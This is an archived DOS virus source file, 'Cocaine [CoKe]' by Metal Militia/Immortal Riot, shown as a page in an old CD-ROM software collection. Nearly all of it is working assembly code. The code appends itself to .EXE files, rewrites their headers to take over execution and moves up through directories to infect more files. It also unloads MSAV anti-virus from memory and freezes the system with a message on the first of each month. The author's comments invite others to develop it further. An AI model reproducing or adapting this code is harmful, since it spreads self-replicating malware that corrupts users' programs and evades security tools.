home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / C.ZIP / COKE.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  10KB  |  280 lines

  1. ; Virus name  : Cocaine [CoKe]
  2. ; Virus author: Metal Militia
  3. ; Virus group : Immortal Riot
  4. ; Origin      : Sweden
  5. ;
  6. ; This is an non-resident, .EXE infector moving upwards using the
  7. ; "dot-dot" method. Watch your .EXE files for the bad guy siganture
  8. ; "IR" somewhere in the beginning, after the MZ or ZM thang.. :)
  9. ;
  10. ; Also, check your back for a "?" a bit from it aswell. Btw! Everytime
  11. ; you run it, it'll take out that fucking MSAV piece of shit from your
  12. ; memory. Im telling you, go get TB-SCAN or something instead of such
  13. ; hacked things. TB-Scan finds this virus as both Ear-6 and Burma but
  14. ; is not any sort of hack from them or something. I didn't had time to
  15. ; fix the encryption, and since this is just a test from me i really
  16. ; don't give a shit, but ofcause you're always welcome to keep
  17. ; developing it, heheh :)
  18. ;
  19. ; To add here, is that Ear-6 is non-res com/exe infector, umm.. that's
  20. ; Dark Angels virus, and this is not alike it! Burma is non-res ow-vir,
  21. ; and also not very much alike this anyhow.. However, i've heard about
  22. ; some resident, non-ow Burma aswell? Not sure on thatone. So, it'll
  23. ; probably only confuse some users, I guess.. Enjoy Insane Reality #4!!
  24. ;
  25. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  26. ;                 COCAINE! [CoKE]
  27. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  28.  
  29. .model tiny
  30. .radix 16
  31. .code
  32.         org 100
  33. start:
  34.         mov blast,0fa01                 ; Take MSAV's shit
  35.         mov dx,5945h                    ; out of the fucking
  36.         int 16                          ; memory right away
  37.  
  38.         push    ds                      ;Save old offset
  39.  
  40.         push    cs                      ;Set ES/DS/CS
  41.         pop     es
  42.         push    cs
  43.         pop     ds                      ;for data accessing.
  44.  
  45.          call    get_offset              ;This places the displace-
  46.  get_offset:                             ;ment of the virus from
  47.          pop     bp                      ;its original compilation
  48.          sub     bp,offset get_offset    ;into BP.
  49.  
  50.  Reset_Variables:                        ;Reset XX_old values for
  51.          lea     di,[IP_storage+bp]      ;new infection.
  52.          lea     si,[IP_old+bp]
  53.          call    mov_it
  54.          call    mov_it
  55.          call    mov_it
  56.          call    mov_it
  57.          jmp     set_dta
  58. mov_it:
  59.          movsw ; movsw
  60.          ret   ; ret(urn) to caller
  61.  
  62.  Set_DTA:
  63.          lea     dx,[New_DTA+bp]         ;Set DTA to the after
  64.          mov     ah,readin               ;virus
  65.          int     21
  66.  
  67.          mov     ah,47h                 ; Get
  68.          mov     dl,0                   ; current
  69.          lea     si,[bp+new_dta+2ch]    ; directory
  70.          int     21h
  71.  
  72.  Find_first_file:
  73.          mov     ah,4e                ; Find first
  74.          lea     dx,[bp+masker]       ; .EXE file
  75.  
  76.  Find_File:
  77.          int     21
  78.          jnc     infeqt              ; If found, infect
  79.          jmp     ch_dir              ; Else, change directoy
  80.  
  81.  Infeqt:
  82.          mov     blast,3d02                 ; Open file
  83.          lea     dx,[bp+New_DTA+1e]         ; 1eh = DTA place for filename
  84.          int     21
  85.  
  86.          xchg    bx,blast                   ; Or, mov ax,bx
  87.  
  88.          mov     ah,3f                   ; Read in
  89.          mov     mate,readin             ; 1ah
  90.          lea     dx,[bp+exe_header]      ; to EXE header
  91.          int     21
  92.  
  93.          cmp     word ptr [bp+exe_header+0e],'RI'  ; Check if already
  94.          je      close_file                        ; infected. If so,
  95.                                                    ; close and get nextone
  96.          call    Save_Old_Header                   ; Save old header
  97.  
  98.          mov     blast,4202                 ; Go to the end of the file.
  99.          xor     mate,mate
  100.          cwd
  101.          int     21
  102.  
  103.          push    blast
  104.          push    dx
  105.  
  106.          call    calculate_CSIP          ; calculate virus startingpoint
  107.  
  108.          pop     dx
  109.          pop     blast
  110.  
  111.          call    calculate_size          ; calculate fsize for the header
  112.  
  113.          mov     mate,end_virus-start    ; viruscode
  114.          mov     ah,svenne               ; write it
  115.          lea     dx,[bp+start]           ; from start
  116.          int     21                      ; to victim (uninfected file)
  117.  
  118.          mov     blast,4200              ; Return to the beginning
  119.          xor     mate,mate               ; of the file.
  120.          cwd
  121.          int     21
  122.  
  123.          mov     mate,readin             ; 1ah
  124.          mov     ah,svenne               ; write it
  125.          lea     dx,[bp+exe_header]      ; to the EXE header
  126.          int     21
  127.  
  128. Close_File:
  129.          mov     ah,3e                   ; close the file
  130.          int     21                      ; and go get the nextone
  131.  
  132.  Find_Next_File:
  133.          mov     ah,4f                   ; find next file
  134.          jmp     Find_File               ; do it!
  135.  
  136.  No_More_Files:
  137.          mov     ah,2a                   ; get date
  138.          int     21
  139.          cmp     dl,1                    ; 1st of any month?
  140.          jne     ret_to_host             ; if not, outa here
  141.  
  142.          mov     ah,9                    ; print
  143.          lea     dx,[bp+eternal_love]    ; the note
  144.          int     21
  145.          jmp     $
  146.  
  147. ret_to_host:
  148.  
  149.          lea    dx,[bp+new_dta+2ch]      ; Restore
  150.          mov    ah,3bh                   ; directory
  151.          int    21
  152.  
  153.          pop     ds
  154.          mov     dx,80      ; restore
  155.          mov     ah,readin  ; the DTA
  156.          int     21
  157.  
  158.  Restore_To_Host:
  159.          push    ds              ; Restore ES/DS/PSP
  160.          pop     es
  161.  
  162.          mov     blast,es
  163.          add     blast,10
  164.  
  165.          add     word ptr cs:[bp+CS_storage],blast
  166.                  ; By current seg, adjust old CS
  167.  
  168.          cli                                       ; Clear int's
  169.          add     blast,word ptr cs:[bp+SS_storage] ; Old SS (adjust it)
  170.          mov     ss,blast                          ; Original position
  171.          mov     sp,word ptr cs:[bp+SP_storage]    ; (return stack)
  172.          sti                                       ; Store (?) int's
  173.  
  174.          db      0ea                               ; Jmp Far
  175.  IP_storage      dw      0   ; Storage place for IP/CS/SP/SS
  176.  CS_storage      dw      0
  177.  SP_storage      dw      0
  178.  SS_storage      dw      0
  179.  
  180.  
  181.  IP_old  dw      0
  182.  CS_old  dw      0fff0
  183.  SP_old  dw      0
  184.  SS_old  dw      0fff0
  185.  
  186.  K_kool:
  187.         jmp no_more_files
  188.  K_spam:
  189.         jmp find_first_file
  190.  Save_Old_Header:
  191.          mov     blast,word ptr [exe_header+bp+0e]    ; Save SS (old)
  192.          mov     word ptr [SS_old+bp],blast
  193.          mov     blast,word ptr [exe_header+bp+10]    ; Save SP (old)
  194.          mov     word ptr [SP_old+bp],blast
  195.          mov     blast,word ptr [exe_header+bp+14]    ; Save IP (old)
  196.          mov     word ptr [IP_old+bp],blast
  197.          mov     blast,word ptr [exe_header+bp+16]    ; Save CS (old)
  198.          mov     word ptr [CS_old+bp],blast
  199.          ret
  200.  
  201.  calculate_CSIP:
  202.          push    blast
  203.          mov     blast,word ptr [exe_header+bp+8]   ;Get header length
  204.          mov     cl,brutal                          ;and convert it to
  205.          shl     blast,cl                           ;bytes.
  206.          mov     mate,blast
  207.          pop     blast
  208.  
  209.          sub     blast,mate                      ;Subtract from
  210.          sbb     dx,RAVE                         ;file (header size)
  211.  
  212.          mov     cl,0c                           ;Convert into segment
  213.          shl     dx,cl                           ;address (DX)
  214.          mov     cl,brutal
  215.          push    blast
  216.          shr     blast,cl
  217.          add     dx,blast
  218.          shl     blast,cl
  219.          pop     mate
  220.          sub     mate,blast
  221.          mov     word ptr [exe_header+bp+14],mate
  222.          mov     word ptr [exe_header+bp+16],dx    ;Set CS:IP (new)
  223.          mov     word ptr [exe_header+bp+0e],'RI'  ;Set SS/CS (new)
  224.          mov     word ptr [exe_header+bp+10],0fffe ;Set SP (new)
  225.          mov     byte ptr [exe_header+bp+12],'?'   ;mark infection
  226.          ret
  227.  
  228.  calculate_size:
  229.          push    blast                      ;Save offset for later
  230.  
  231.          add     blast,end_virus-start      ; add size (virus)
  232.          adc     dx,RAVE
  233.  
  234.          mov     cl,POLICE
  235.          shl     dx,cl                      ;convert to pages (DX)
  236.          mov     cl,BRUTALITY
  237.          shr     blast,cl
  238.          add     blast,dx
  239.          inc     blast
  240.          mov     word ptr [exe_header+bp+SPAM],blast ; save pages (x number)
  241.  
  242.          pop     blast                              ; get offset
  243.          mov     dx,blast
  244.          shr     blast,cl                           ; calcute last page
  245.          shl     blast,cl                           ; (remainder)
  246.          sub     dx,blast
  247.          mov     word ptr [exe_header+bp+RUDE],dx   ;save remainder
  248.          ret
  249.  
  250.  ch_dir:
  251.         mov ah,3bh ; Change
  252.         lea dx,[bp+dot_dot]        ; up a dir
  253.         int 21
  254.         jc no_more                 ; If root, outa here
  255.         jmp k_spam                 ; Else, try to infect here aswell
  256.  
  257.  no_more:
  258.          jmp k_kool
  259.  
  260.  blast      equ ax
  261.  mate       equ cx
  262.  police     equ 7
  263.  brutality  equ 9
  264.  rave       equ 0                   ; Hey! That's you :)
  265.  spam       equ 04
  266.  rude       equ 02
  267.  brutal     equ 4
  268.  readin     equ 1a
  269.  svenne     equ 40
  270.  virnote         db     'Cocaine [CoKe]'
  271.                  db     '(c) Metal Militia/Immortal Riot'
  272.  eternal_love    db     0dh,0ah,'Love to LISA :)',0dh,0ah,'$'
  273.                  db     'Cocaine''s running thrue your vains'
  274.                  db     'It seems you have become an addict'
  275.  masker          db     '*IR.EXE',0     ;File mask used for search
  276.  dot_dot         db     '..',0
  277.  end_virus:
  278.  exe_header      db      1a dup (?)
  279.  New_DTA:
  280.  end start